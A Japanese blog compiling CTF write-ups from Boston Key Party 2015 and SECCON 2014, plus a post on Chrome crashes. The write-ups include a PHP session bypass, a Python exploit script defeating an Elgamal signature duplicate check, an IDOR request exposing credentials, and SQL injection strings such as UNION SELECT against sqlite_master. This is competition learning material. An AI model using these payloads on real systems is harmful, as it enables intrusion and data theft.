Boston Key Party CTF 2015 Writeup
英語読めないしpythonかけないし辛かったCTFです。
チームとしては620点117位でした。最後の一問コミットしてれば二桁。。。
School Bus 25 Museum of Fine Arts
Because cryptography is hard, we only implemented a hand-made PRNG. What could possibly go wrong? : 25
Level4
http://52.10.107.64:8004/
参加が遅かったため、殆どのWeb問がやぎはしゅに掃除されてたなか残ってた奴。
<html> <head> <title>level4</title> <link rel='stylesheet' href='style.css' type='text/css'> </head> <body> <?php session_start(); require 'flag.php'; if (isset ($_GET['password'])) { if ($_GET['password'] == $_SESSION['password']) die ('Flag: '.$flag); else print '<p class="alert">Wrong guess.</p>'; } // Unpredictable seed mt_srand((microtime() ^ rand(1, 10000)) % rand(1, 10000) + rand(1, 10000)); ?> <section class="login"> <div class="title"> <a href="./index.txt">Level 4</a> </div> <ul class="list"> <?php for ($i=0; $i<3; $i++) print '<li>' . mt_rand (0, 0xffffff) . '</li>'; $_SESSION['password'] = mt_rand (0, 0xffffff); ?> </ul> <form method="get"> <input type="text" required name="password" placeholder="Next number" /><br/> <input type="submit"/> </form> </section> </body> </html>
アッはいSESSION初期化してませんね。
てわけで、/?password=にアクセスして終了。
Burp立ち上げた意味……。
School Bus 100 Heath Street
During my time at KGB I learned how to hide all the stuff from alpha-dog. But damn it, I somehow lost some of the most important files...
ext4のファイルが落ちてくるのでとりあえずautopsy使ってバラす。
そうすると、大量のドキュメントが。。。
secret32 r 2015-02-06 19:25:33 JST 0000-00-00 00:00:00 2015-02-06 19:25:33 JST 96 44 不明 rrw-r--r-- /img_sec/secret32 secret33 r 2015-02-06 19:25:33 JST 0000-00-00 00:00:00 2015-02-06 19:25:33 JST 115 45 不明 rrw-r--r-- /img_sec/secret33 secret34 r 2015-02-06 19:25:33 JST 0000-00-00 00:00:00 2015-02-06 19:25:33 JST 144 46 不明 rrw-r--r-- /img_sec/secret34 secret35 r 2015-02-06 19:25:33 JST 0000-00-00 00:00:00 2015-02-06 19:25:33 JST 116 47 不明 rrw-r--r-- /img_sec/secret35 secret36 r 2015-02-06 19:25:33 JST 0000-00-00 00:00:00 2015-02-06 19:25:33 JST 140 48 不明 rrw-r--r-- /img_sec/secret36 secret37 r 2015-02-06 19:25:33 JST 0000-00-00 00:00:00 2015-02-06 19:25:33 JST 115 49 不明 rrw-r--r-- /img_sec/secret37 secret38 r 2015-02-06 19:25:33 JST 0000-00-00 00:00:00 2015-02-06 19:25:33 JST 119 50 不明 rrw-r--r-- /img_sec/secret38 secret39 r 2015-02-06 19:25:33 JST 0000-00-00 00:00:00 2015-02-06 19:25:33 JST 115 51 不明 rrw-r--r-- /img_sec/secret39 secret40 r 2015-02-06 19:25:33 JST 0000-00-00 00:00:00 2015-02-06 19:25:33 JST 131 52 不明 rrw-r--r-- /img_sec/secret40 secret41 r 2015-02-06 19:25:33 JST 0000-00-00 00:00:00 2015-02-06 19:25:33 JST 109 53 不明 rrw-r--r-- /img_sec/secret41 secret42 r 2015-02-06 19:25:33 JST 0000-00-00 00:00:00 2015-02-06 19:25:33 JST 110 54 不明 rrw-r--r-- /img_sec/secret42
で、この中にパスワードのかかったZIPがあるのですが、パスワードが不明なので放置。
で、とりあえず王道の未割り当て領域へ。ここにも断片があったり。
ここを目grepしてたやぎはしゅがこんなファイルを見つける。
KGB_archでググると
http://jarp.does.notwork.org/diary/201210c.html#20121031
圧縮ファイルかよ!!!!!!
てことで解凍して終了。
ダミーテキストの中はスパイの事だったので、これもダミーかと見逃してましたが、まさかの圧縮ファイルだったという。。。
しかもforemostにかからないし。。。ぐぬぬぬ
School Bus 200 Riverside
omg tha NSA hacked my super secret login, I caught them exfillin this pcap, am I t3h fuxxed?
一緒についてたPCAPがUSBの通信だったため、とりあえず放置。
その後解くものが無くなったので見てみる。
Wireshark先生のお陰で俺にも読めるううううううう
http://www.linux-hardware-guide.com/ja/2014-12-07-logitech-m-bj58-mouse-optical-usb-3-button-wheel
こいつか。
さてどんな通信なんだろ……。
linux/drivers/hid/usbhid/usbmouse.c
input_report_key(dev, BTN_LEFT, data[0] & 0x01); input_report_key(dev, BTN_RIGHT, data[0] & 0x02); input_report_key(dev, BTN_MIDDLE, data[0] & 0x04); input_report_key(dev, BTN_SIDE, data[0] & 0x08); input_report_key(dev, BTN_EXTRA, data[0] & 0x10); input_report_rel(dev, REL_X, data[1]); input_report_rel(dev, REL_Y, data[2]); input_report_rel(dev, REL_WHEEL, data[3]);
なるほどねー。てわけでその通りにやってみる。しかし謎の図形に。うーん……?イミフ。時間もアレだったので、とりあえずバラした結果だけJSON形式で投げて寝た。
翌日スレを見たら
ほよたか氏「それ相対座標じゃない?プロットしてみたよ」
んー……?
ごちゃごちゃした線が交差してるよく分からない画像に。
alcさん「クリックした座標だけ出してみれば?」
んんんーーー????
やぎはしゅ「それスクリーンキーボードじゃね?」
あっっっ
てことでこうなる
これを重ねて順にPlotさせて終了。因みに線は座標測定用の目安ですw
最後、flagをコミットする場所を間違えたりミスタイプがあったりしたのをイケメンパケリストことほよたか氏に救って頂いた。
流石イケメンパケリスト!!!
チーム全員が一丸となって解いた感ある問題でした。
Crypt 150 Wood Island
You can try to sign messages and send them to the server, 52.0.217.48 port 60231. Sign the right message and you'll get the flag! Only problem---you don't have the signing key. I will give you this, though: sigs.txt is a file containing a bunch of signatures. I hope it helps. (P.S. Don't try and send the exact signatures in that file---that's cheating!) : 150
時間内にコードが書けずに終わった未練の残る問題。解けたのに。。。。。。
とりあえず圧縮ファイルが落ちてきたので解凍。
distディレクトリに色々あるけどコアはこれ。
from dsa_prime import SAFEPRIME, GENERATOR from dsa_key import PUBKEY, SECKEY import hashlib def elgamal_verify(r, s, m): if r <= 0 or r >= SAFEPRIME: return False if s <= 0 or s >= SAFEPRIME-1: return False h = int(hashlib.sha384(m).hexdigest(), 16) left = pow(GENERATOR, h, SAFEPRIME) right = (pow(PUBKEY, r, SAFEPRIME) * pow(r, s, SAFEPRIME)) % SAFEPRIME return left == right DUPLICATES = [] def is_duplicate(s): return s in DUPLICATES import base64, SocketServer, os, sys, json class ServerHandler(SocketServer.BaseRequestHandler): def fail(self, message): self.request.sendall(message + "\nGood-bye.\n") self.request.close() return False def captcha(self): proof = base64.b64encode(os.urandom(9)) self.request.sendall(proof) test = self.request.recv(20) ha = hashlib.sha1() ha.update(test) if test[0:12]!=proof or not ha.digest().endswith('\xFF\xFF\xFF'): self.fail("You're a robot!") def handle(self): self.captcha() sig = self.request.recv(5000) sig = json.loads(sig) if "r" not in sig or "s" not in sig or "m" not in sig: self.request.close() return r = sig["r"] s = sig["s"] m = sig["m"] if not elgamal_verify(r, s, m): self.request.close() elif is_duplicate(sig): self.request.close() elif m != "There is no need to be upset": self.request.close() else: self.request.sendall(FLAG) self.request.close() class ThreadedServer(SocketServer.ThreadingMixIn, SocketServer.TCPServer): pass FLAG = "" if __name__ == "__main__": HOST = sys.argv[1] PORT = int(sys.argv[2]) FLAG = open('flag.txt', 'r').read() DUPLICATES = open('sigs.txt', 'r').read().split('\n')[:-1] DUPLICATES = map(json.loads, DUPLICATES) server = ThreadedServer((HOST, PORT), ServerHandler) server.allow_reuse_address = True server.serve_forever()
Elgamal署名かぁ。。。と思ってWikipediaに書いてある通り、int(hash(m))の重複を探してみる。
しかし無い。
うーん……。てかそういやどうしたらFLAGが出るんだっけ
if not elgamal_verify(r, s, m): self.request.close() elif is_duplicate(sig): self.request.close() elif m != "There is no need to be upset": self.request.close() else: self.request.sendall(FLAG) self.request.close()
……ん?
is_duplicate(sig)?
sig = self.request.recv(5000) sig = json.loads(sig) #--------------------# def is_duplicate(s): return s in DUPLICATES
ふぁーーーーーwwwwwwww
JSONの各要素じゃなくてオブジェクト自体を比較してるしwwww
脆弱性あるじゃねーーーーかwwwwww
てわけで、rms以外に余計なhoge要素を加えたJSONを返せばFLAGが出てくると分かる。
というわけでコード
from dsa_prime import SAFEPRIME, GENERATOR from dsa_key import PUBKEY, SECKEY import hashlib import base64, SocketServer, os, sys, json, socket import string import random s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(("52.0.217.48", 60231)) proof = s.recv(12) print proof + "\n" text = proof ha = hashlib.sha1() ha.update(proof) while not ha.digest().endswith('\xFF\xFF\xFF'): ha = hashlib.sha1() text = proof+''.join([random.choice(string.ascii_letters + string.digits) for i in range(8)]) ha.update(text) print text s.sendall(text) s.sendall('{"s": 21054468908426331574045415757705596312490608697034679252162205415258689488938792588831531807614306762187107454355496991706280940746682086684651382392894440056488208110510117519357395297916485175485376815711109501315034875521798843436925869757482592549470778789601115554255653914305843242151026272506459011629018207321332425287985213417534380034990214393005755147720206544994968697500781616394595450665975848378431384407629728617806162081729861628808736537317534949224293348236319554315763862173514513324698536191701038439870012572806910098312290000388970881226934180445872436810927891008412644093329663435621581021347, "r": 14556450625812013575484254421723445809678777888922992010061032704679042904146923866457426159198384764425155312389074479869246038712459861363560250202380689697680368931395645962819850774655376322711776181621394119949333235937168169126299818515407603115358673337217251397556879636425925559398418798688723285385352425490135869490681971673314086977191132841003292451662521230410289882511683145128157815153694864096645608834771938938231775760394427067003660948668863059181615823395710566418746839898936118863944244851022473133036526007136492008659921439714025852802299228292891053541064974277813868083959677233126603099132, "m": "There is no need to be upset","hoge":1}') print "\nJSONs\n" flag = s.recv(1024) print flag
で、ランダムでchapcha飛ばしてるので通らない事もあるため、これを並列させて終了。
しかしコードを書いている間に試合終了。。。pythonでまともにコード書いたの、実は今回のCTFが始まってからだったので、色々詰まりまくって辛かった。。。(´・ω・`)
全体的には中々面白かったかなと思います。
ただWeb成分がもう少し欲しかったですね。
人権はいまだ確保出来ず。とりあえずpythonに慣れなきゃなぁ。
SECCON2014 オンライン予選英語 Writeup
英語ですが日本語でWriteup書きます。
Web200,300しか決められなかったザコなのでこれ終わったら黙って卒論書く作業に戻りますね。。。
Web200 Web200 REA-JUU WATCH
始めてから15分程度で落とした問題
ファーーーーーーーーーーーwwwww
とりあえずCookieにCAKEPHPとか見えたのでSQLとかセッションとかXSSじゃねーなこれ、とアタリを付けました。
黙ってログインしてBurpかませて変態選択肢を選んでたらスコア画面へ。
どうやら僕のリア充度は-229らしいですね。。。
で、Burpをみたら
GET /users/chk/12418 HTTP/1.1
Host: reajuu.pwn.seccon.jp
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-us,zh;q=0.8,ja;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
X-Requested-With: XMLHttpRequest
Referer: http://reajuu.pwn.seccon.jp/quiz/7?co=6&ch=19
Cookie: CAKEPHP=mshqfmjppv5bu5gn3ke948lvc3
Connection: keep-alive
HTTP/1.1 200 OK
Date: Sat, 06 Dec 2014 19:06:17 GMT
Server: Apache/2.2.22 (Debian)
X-Powered-By: PHP/5.4.35-0+deb7u2
Vary: Accept-Encoding
Content-Length: 58
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8{"username":"rtonxsqb","password":"ya4uw46n","point":-229}
なるほどな??
GET /users/chk/1 HTTP/1.1
Host: reajuu.pwn.seccon.jp
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-us,zh;q=0.8,ja;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
X-Requested-With: XMLHttpRequest
Referer: http://reajuu.pwn.seccon.jp/quiz/7?co=6&ch=19
Cookie: CAKEPHP=mshqfmjppv5bu5gn3ke948lvc3
Connection: keep-alive
HTTP/1.1 200 OK
Date: Sat, 06 Dec 2014 19:06:44 GMT
Server: Apache/2.2.22 (Debian)
X-Powered-By: PHP/5.4.35-0+deb7u2
Vary: Accept-Encoding
Content-Length: 61
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8{"username":"rea-juu","password":"way_t0_f1ag","point":99999}
なるほどな???
( ´_ゝ`)フーン
Web 300 Bleeding "Heartbleed" Test Web
だれか「OSコマンドっぽいね」
ぼく「そだねー。まさかHeartBleedの脆弱性を使う事は無いでしょ(笑)」
自鯖に向けて撃ったらちゃんと検査しに来てるようで、pcapファイルを開いたらwireshark先生が赤く強調してくれました。
おいおいマジか。。。
しゃあない脆弱性あるサーバ立てて挙動見るかー。
そしてApache,openssl,mod_sslと格闘すること2,3時間。。。
致命的に頭が悪いのかな
— きひろちゃん (@aki33524) 2014, 12月 2
……ハニポでええやん!!!!!
http://packetstormsecurity.com/files/126068/hb_honeypot.pl.txt
Heartbleed Honeypot Script ≈ Packet Storm
神!!!!!!
というわけで、HBの結果漏れた情報がエスケープされずにSQL文内に組み込まれている、と分かるので、後はガリガリSQLiするだけです。
ソース中に"by KeigoYAMAZAKI"の文字が見えたので、何も考えずにSQLiteのパターンを試して終了。
どっちもやるだけ問題。。。つら。。。
FOR300もWeb400もCrypt200も解けずに、時間と人権だけが溶けたCTFでした。
っらぃ……卒論しょ……
SECCON2014 オンライン予選日本語 Write-up
お疲れ様でした。
今回はなんというか、やるだけ問題しか解けなかったので微妙な人権確保具合でした。
Unknown100 詰将棋?
22銅 12王 5特 同王 10平 6王 11平 同王 4銀 16王 15金引 23王 29金打
の、まで十三手。
ほかの解答もあるらしいのですが、これがぱっと出てきたので、それ以外考えませんでした。
自由に動かせる将棋盤ソフトを探す事が一番めんどくさかったですね!!!
結局ペイントで切り貼りしながら解きました。
まぁ初手銅が出れば後はノリでどうにでもなるかと。
FLAG{4,15,18,22,23,28,29}
Web100 箱庭SQLiチャレンジ
ハイパーやるだけ問題。
00000000' OR 1=1;--
00000000' ORDER BY 6;--
00000000' ORDER BY 5;--
00000000' UNION SELECT 1,1,1,1,sql FROM sqlite_master;--
00000000' UNION SELECT 1,1,1,1,flag FROM seccon;--
これ、DLするときにマルウェアと判定されるし起動するときめっちゃ重いし愛甲さんのサーバにいちいちクエリ飛ばすし、何か色々アレでした。
FLAG{EnjoySQLi}
結局解けませんでしたが、Cryptは既知平文攻撃でflag.zipを解凍し、./cryptを鍵・平文共にいじりながら暗号化して、アルゴリズムを把握しつつ穴を探す感じっぽかったです。
とりあえず暗号化されたデータの先頭4byteが平文時のファイルサイズ*4 で、その後ろに続くのがzlibで圧縮された暗号化データだって事までは特定出来ました。
暗号文4byteにつき平文1byteで、1:1対応っぽかったので、その辺の実装の不備を突くのかな、とか思ってましたが、誰も解けた人が居なかったので何とも……。
暗号勉強しなきゃ
(追記)
FLAGは暗号名か。ちゃんとした暗号だった( ・∀・)つ〃∩ ヘェーヘェーヘェー
Merkle-Hellmanナップサック暗号 - Wikipedia
http://t.co/aNX7iZ7UKM
— kusanoさん@がんばらない (@kusano_k) 2014, 7月 20
あー、鍵と平文をもっとゴネゴネしてれば良かったのか……??
SECCONオンライン予選 Write-up
SECCONオンライン予選にちょこっとだけ参加して遊んできました。
解いたのはWeb400,Bin100,その他200です。
Web400を一番乗りで解いたし、Web500の裏道も見つけたしで、名古屋大会の時よりかは人権があったかなと思います。(ただし未だにやぎはしゅ/10な感じ)
あと何よりボウリングで笑いましたww
さて、では本題。
Web・ネットワーク 400 SECCON競馬
八百長疑惑のあるSECCON競馬ですが、オールスターレースの全着順を予想し、 馬番を1着からカンマ区切りで答えなさい。
===========解答例ここから===========
16,17,12,8,2,15,1,7,9,14,3,5,13,10,11,6,4
===========解答例ここまで===========
既にtyageさんが書いてますが、まぁ冗長なWrite-upでも書こうかなと。
とりあえず何やってるかを見るためにアカウント登録+Burpを挟んで観察。
……ってあれ、何も起こらない。んー???とか思ってたら、Websocketベースのアプリでした。
で、それに対応したProxyツールが無かったので諦めてJSを解析。
client.jsが全てを動かしてるっぽかったので、とりあえず狙いをこのコードに絞る。
と同時に、問題文的にロジック系かSQLiかなー、みたいなアタリもつけとく。終わったレースの結果は表示されているので、時間をいじるなり終わった事にするなり、SQLiするなり、みたいな。
さらっと読んでみるとコメントが入ってるわ難読化されてないわで読みやすい。親切設計。
でも丸々読む気力は無かったので、Chrome(諸事情によりIronだけど)のデベロッパーツールでJS中の適当な所にブレークポイントを入れて、レース結果処理を追っかける。
すると以下のコードが。
get_race_info: function(message) { var socket = this; if(message.status!=='OK'){ return; } $('h2#race_name').text(message.data.course + (message.data.seq>0?'第'+message.data.seq:'') + 'レース') $('div#tabs').css('display', 'block').attr('race_id', message.data.id); $('#win_rate').text(message.data.win_rate*10+'G'); $('#box_rate').text(message.data.box_rate*10+'G'); if(message.data.done){ socket.emit('get_result', {id: message.data.id}); $('.result_contents').css('display', 'block'); $('.vote_contents').css('display', 'none'); $('.odds_contents').css('display', 'block'); $('#tabs a[href^="#panel"]:eq(0)').trigger('click'); } else { $('.result_contents').css('display', 'none'); if(loginuser){ $('.vote_contents').css('display', 'block'); $('#tabs a[href^="#panel"]:eq(1)').trigger('click'); } else { $('.vote_contents').css('display', 'none'); $('#tabs a[href^="#panel"]:eq(2)').trigger('click'); } } },
終わっている奴はmessage.data.doneがtrueになってて、その場合はsocket.emit('get_result', {id: message.data.id});を実行している、と。
というわけで
if(message.data.done){ (略) }
を
if(true){ (略) }
に書き換えて実行。
しかし何も起こらず。うーん……そこはチェックされてるみたい。
で、コードを漁っても面白いものが無かったので、今度は視点を変えてSQLiを狙う。しかし前述の通りwebsocketなので、Burpとかは使えない。てわけで、使ったのはこのコード。
$('a.race').click(function(){ $('div#tabs').css('display', 'none'); $('div#odds').css('display', 'none'); $('div#result').css('display', 'none'); $('tbody#win_odds').empty(); $('tbody#box_odds').empty(); $('tbody#result').empty(); $('tbody#win_vote').empty(); $('tbody#box_vote').empty(); var race_id = $(this).attr('id').substr(5); // レースIDを指定して、レース情報を取得する socket.emit('get_race_info', {id: race_id}); socket.emit('get_entries', {id: race_id}); }); if($('#tabs').attr('race_id') && parseInt(message.race_id)==$('#tabs').attr('race_id')){ socket.emit('get_result', {id: message.race_id}); $('.vote_contents').fadeOut(); $('li.result_contents').fadeIn(); } },
これはclient.js中にあったコード。見ての通りクリックされた時に起きるし、Socketの結果に依存せずに実行される。オマケにこれが実行される時はSession周りの処理も終わってるし、何も考えなくても自然な通信が行えるので使いやすい。一方で、SQLエラーでWebsocketに変なメッセージが来たら読み取れない可能性があったので念のためwiresharkで読めるようにしとく。
とりあえず
socket.emit('get_race_info', {id: "0+1"}); socket.emit('get_entries', {id: "0+1"});
を実行。そしたらちゃんとid:1のデータを取ってきた。
socket.emit('get_race_info', {id: "0 OR 1 = 1 #"}); socket.emit('get_entries', {id: "0 OR 1 = 1 #"});
は何故かエラー。でもSQL syntax errorって返って来た。うん、確定。
後はまぁいつも通りの流れ。要素数探ってく時にget_race_infoは多くてget_entriesは少ないっぽかったから、get_entriesをターゲットにしたくらいしか工夫点無いです。
詳しくはSQL 攻撃方法 とかでググると何か出てきます。凄い時代になったなぁ……。
その他 200 Encode me.
パスワードを答えよ。
encode_me_91
一日目はさらっと流してたけど、二日目の終了1,2時間前によし、やるか!!ってなった。
とりあえずencode 91でググるかー → base91なんてのがあるのか。とりあえず落として試すか →
PASSWORD/IS/WHICH+ENCODING+DO+YOU+LIKE
取り掛かってから10分もしないうちに解けた。なんという……
バイナリ 100
このゲームをクリアしたらパスワードが得られる。
you will get the password if you get a goal of the dungeon.game.zip
一日目は見向きもしなかったけど二日目やることが無くなったのでやった問題。
とりあえず解凍してIDA Proに投げ込む。64bit。うん、俺には無理だな。
……いやまてよ、SECCONって確かシューティングゲームとか出てたよな。あん時は画像を差し替えるだけだったな……。
というわけで、チートしてゲームクリアって方針を立てる。
とりあえずRead Meを読む。
DX library
http://homepage2.nifty.com/natupaji/DxLib/sample code
http://homepage2.nifty.com/natupaji/DxLib/program/dxprogram_3Dmeiro.html
成程、このライブラリとこんな感じのコードで動いてるのか。
起動してみる。やっぱただの迷路。しかも不思議なダンジョンみたいにランダムに変わるのではなく、固定迷路。
で、dataフォルダを漁ると壁の画像とPrintPasswordって書かれた画像と、それぞれのメタセコイア用3Dイメージが。
とりあえず壁を透明にしてみる。
スタート地点の横にゴールがっ。
でも流石に判定は消えてないので、そのまま進めるなんて事は無い。
透明にした関係で、黒いマスは進める事もあれば進めない事もあるマスに、緑のマスは絶対に進めるマスになった。
あとはコレをがんばって辿ってみるだけ。そんなにMAP広くないので、初見でも2分くらいでゴール出来ると思います。
以上、めっちゃ雑なwrite-upでした。
全体の感想としては、ゴミ箱さんのソロチームに普通に負けたとかkatagaitaiとteam enu強すぎワロタとかですかね。まぁでもバイナリアン無しでここまで取れたので、それなりに良かったかな、みたいな。
あと箱庭XSS、クソワロタです
箱庭XSS Finalの、裏道、くっそワロなんですけど。 作者はもう一度セキュリティを勉強しなおしたほうが良いと思う。w
— やまざきkei5 (@ymzkei5) 2014, 1月 26
多分今回の裏道の件のせいで、箱庭 XSSはFinalで終わらず、次回は箱庭 Returnsが来る。
— k5342 (@k5342) 2014, 1月 26
chromeが死んだお話
ある日突然ChromeがCrashしまくるようになりました。
facebook開いて、適当なリンクに飛ぶと親子タブ共々sad tabになるというsadな状況です。
因みに最初はC9のvikiでCrashしたので、「あ、これなんかやばいモノ埋め込まれたな」とか思って結構焦ったのですが、特に怪しげなものは無く……。
その後も色々な所でクラッシュしまくったので、その中の一つをクラッシュする最小限のコードまで削った結果、原因となるHTML,CSSのコードは特定できました。
ですが、なんでそれで死ぬかが分からず、デバッガを使ってゴリゴリ追いかけていくのはWeb屋的には面倒な上、どうもdllのロードかfunction呼び出しで詰まってるっぽいって事までは分かったのでIssueに投げて放置することにしました。
で、そんなChromeの代用が必要になったので、一時的に乗り換えることにしました。
ですが、使い慣れたブラウザを捨てるのはどうもアレなので、なるべく近いUI/使用感のものでまともに動くのを探しました。
- Chromium
- Chromeの基のブラウザ
- Blinkというエンジンを使っているらしい。webkitからfork
- "Google Chrome" - "Google" / 2 (個人的なイメージ)
- SRWare Iron
で、ググってて二本目でIron引いて、ChromeでもChromiumでもクラッシュしてたpoc.htmlを見事に正しくレンダリングしてくれたので、そっちに乗り換えることにしました。
因みにこのIron、レジストリを汚さないPortable版もあります。凄くイイネ!!!
乗り換え方は非常に簡単で、http://www.srware.net/en/software_srware_iron_download.phpからPortable版をDLして、適当に入れて、起動するだけです。日本語なので楽チン。
一工夫するなら、SettingsからLanguageに行って日本語を追加して、それでIronを表示させてやると幸せになれます。(何故か英語版が起動したとき用)
あと、Chromeの設定を引き継ぐ方法としては、めっちゃイヤらしいやり方なんですが、
C:\Users\%USERNAME%\AppData\Local\Google\Chrome\User Data\Default
のデータを適当にコピーすればそのまま使えます。(Defaultは各々のChrome Userにあわせて)
BookmarksとかCookiesとか分かりやすい名前なので、必要そうなのだけコピーして使えばいいと思います。
よく分からないならフォルダ以外全部コピーとかでも動くと思います。
因みにdebug.log中にあったメッセージはこんな感じのです。
[0118/155002:ERROR:client_util.cc(307)] Could not find exported function RelaunchChromeBrowserWithNewCommandLineIfNeeded
各所で話題のエラーみたいですね。
僕の環境ではアンインストールしようが設定初期化しようがダメだったので直すことを諦めました。Chromiumのソースに該当部分があるのですが、直前でdllを読み込んで、そこになければエラーを吐くって内容でした。同名の関数がchrome.dll中にあったし、Process Explorer先生で見た感じどうもcrashしてるchromeではコイツを読み込んでなかったっぽい?(要出典)
Chromeが直ったら戻る予定ですが、Ironは普通に良さげなので乗り換えるのもアリかなぁ。。。